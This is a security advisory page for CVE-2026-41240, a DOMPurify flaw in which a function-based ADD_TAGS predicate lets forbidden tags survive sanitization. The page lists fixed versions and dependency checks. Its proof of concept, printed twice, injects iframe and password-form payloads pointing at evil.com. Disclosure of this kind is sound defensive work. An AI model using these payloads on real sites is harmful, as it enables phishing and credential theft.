CVE-2026-41240: DOMPurify FORBID_TAGS Bypassed By Function-based ADD_TAGS Vulnerability

MODERATE
Advisory Identifier: GHSA-h7mw-gpvr-xq4m
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CWE-183 CWE-79
Published
Advisory Summary

CVE-2026-41240 is a MODERATE forbid_tags bypassed by function-based add_tags vulnerability (CWE-183: Permissive List of Allowed Inputs) affecting DOMPurify libraries in the npm ecosystem. The issue involves forbid_tags bypassed by function-based add_tags predicate (asymmetry with forbid_attr fix). Remediation is available by upgrading affected packages to version 3.4.0.

CVE-2026-41240 at a Glance

CVE Identifier CVE-2026-41240
GHSA Identifier GHSA-h7mw-gpvr-xq4m
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-183: Permissive List of Allowed Inputs
Affected Product DOMPurify
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-41240

To remediate this vulnerability, upgrade all affected DOMPurify dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dompurify fixed: 3.4.0 
npm install dompurify@3.4.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls dompurify

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-41240, inspect your project dependencies using npm:

npm ls dompurify

Analyze the terminal output to locate any version of DOMPurify in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.4.0), your application is affected.

Note: The npm ls dompurify command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-183: Permissive List of Allowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. In DOMPurify, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used. Commit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214: /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */ if (FORBID_ATTR[lcName]) { return false; } The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely: if ( !( EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function && EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated ) { This allows forbidden elements to survive sanitization with their attributes intact. PoC (tested against current HEAD in Node.js + jsdom): const DOMPurify = createDOMPurify(window); DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden) DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADD_TAGS: function(tag) { return true; }, FORBID_TAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden) Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs. Compare with FORBID_ATTR which correctly wins: DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADD_ATTR: function(attr) { return true; }, FORBID_ATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed) Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214: /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */ if (FORBID_TAGS[tagName]) { // proceed to removal logic } This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs. Reporter: Koda Reef

CVE-2026-41240 Affected DOMPurify Versions

1 component(s)
Fixed Versions:
3.4.0
Product / Package Ecosystem Affected Versions Fixed Version
dompurify
npm/dompurify
npm
< 3.4.0
3.4.0

References

GitHub Advisory / Wiki ADVISORY
https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m
NVD — CVE-2026-41240 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-41240
Security Fix Commit FIX COMMIT
https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80
DOMPurify Source Repository REPOSITORY
https://github.com/cure53/DOMPurify
DOMPurify Release RELEASE
https://github.com/cure53/DOMPurify/releases/tag/3.4.0

Frequently Asked Questions

What is CVE-2026-41240?
CVE-2026-41240 is a security vulnerability in DOMPurify involving FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix) under CWE-183: Permissive List of Allowed Inputs.
Which DOMPurify versions are affected?
Affected versions include releases prior to 3.4.0 across affected packages: dompurify.
What version fixes CVE-2026-41240?
Upgrading to 3.4.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dompurify affected?
Yes, dompurify is affected in releases prior to 3.4.0. Upgrade your dependency to 3.4.0 or later.
What CWE is associated with CVE-2026-41240?
CVE-2026-41240 is classified under CWE-183: Permissive List of Allowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.).
How can I check npm dependencies for CVE-2026-41240?
Run the dependency tree command: 'npm ls dompurify'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h7mw-gpvr-xq4m",
  "modified" : "2026-04-27T16:32:31Z",
  "published" : "2026-04-22T17:34:17Z",
  "aliases" : [ "CVE-2026-41240" ],
  "summary" : "DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)",
  "details" : "There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.\n\nCommit [c361baa](https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80) added an early exit for FORBID_ATTR at line 1214:\n\n    /* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */\n    if (FORBID_ATTR[lcName]) {\n      return false;\n    }\n\nThe same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:\n\n    if (\n      !(\n        EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&\n        EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits\n      ) &&\n      (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated\n    ) {\n\nThis allows forbidden elements to survive sanitization with their attributes intact.\n\nPoC (tested against current HEAD in Node.js + jsdom):\n\n    const DOMPurify = createDOMPurify(window);\n\n    DOMPurify.sanitize(\n      '<iframe src=\"https://evil.com\"></iframe>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['iframe']\n      }\n    );\n    // Returns: '<iframe src=\"https://evil.com\"></iframe>'\n    // Expected: '' (iframe forbidden)\n\n    DOMPurify.sanitize(\n      '<form action=\"https://evil.com/steal\"><input name=password></form>',\n      {\n        ADD_TAGS: function(tag) { return true; },\n        FORBID_TAGS: ['form']\n      }\n    );\n    // Returns: '<form action=\"https://evil.com/steal\"><input name=\"password\"></form>'\n    // Expected: '<input name=\"password\">' (form forbidden)\n\nConfirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.\n\nCompare with FORBID_ATTR which correctly wins:\n\n    DOMPurify.sanitize(\n      '<p onclick=\"alert(1)\">hello</p>',\n      {\n        ADD_ATTR: function(attr) { return true; },\n        FORBID_ATTR: ['onclick']\n      }\n    );\n    // Returns: '<p>hello</p>' (onclick correctly removed)\n\nSuggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:\n\n    /* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */\n    if (FORBID_TAGS[tagName]) {\n      // proceed to removal logic\n    }\n\nThis requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.\n\nReporter: Koda Reef",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dompurify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-h7mw-gpvr-xq4m"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41240"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/commit/c361baa18dbdcb3344a41110f4c48ad85bf48f80"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cure53/DOMPurify"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/releases/tag/3.4.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-183", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-22T17:34:17Z",
    "nvd_published_at" : "2026-04-23T16:16:26Z"
  }
}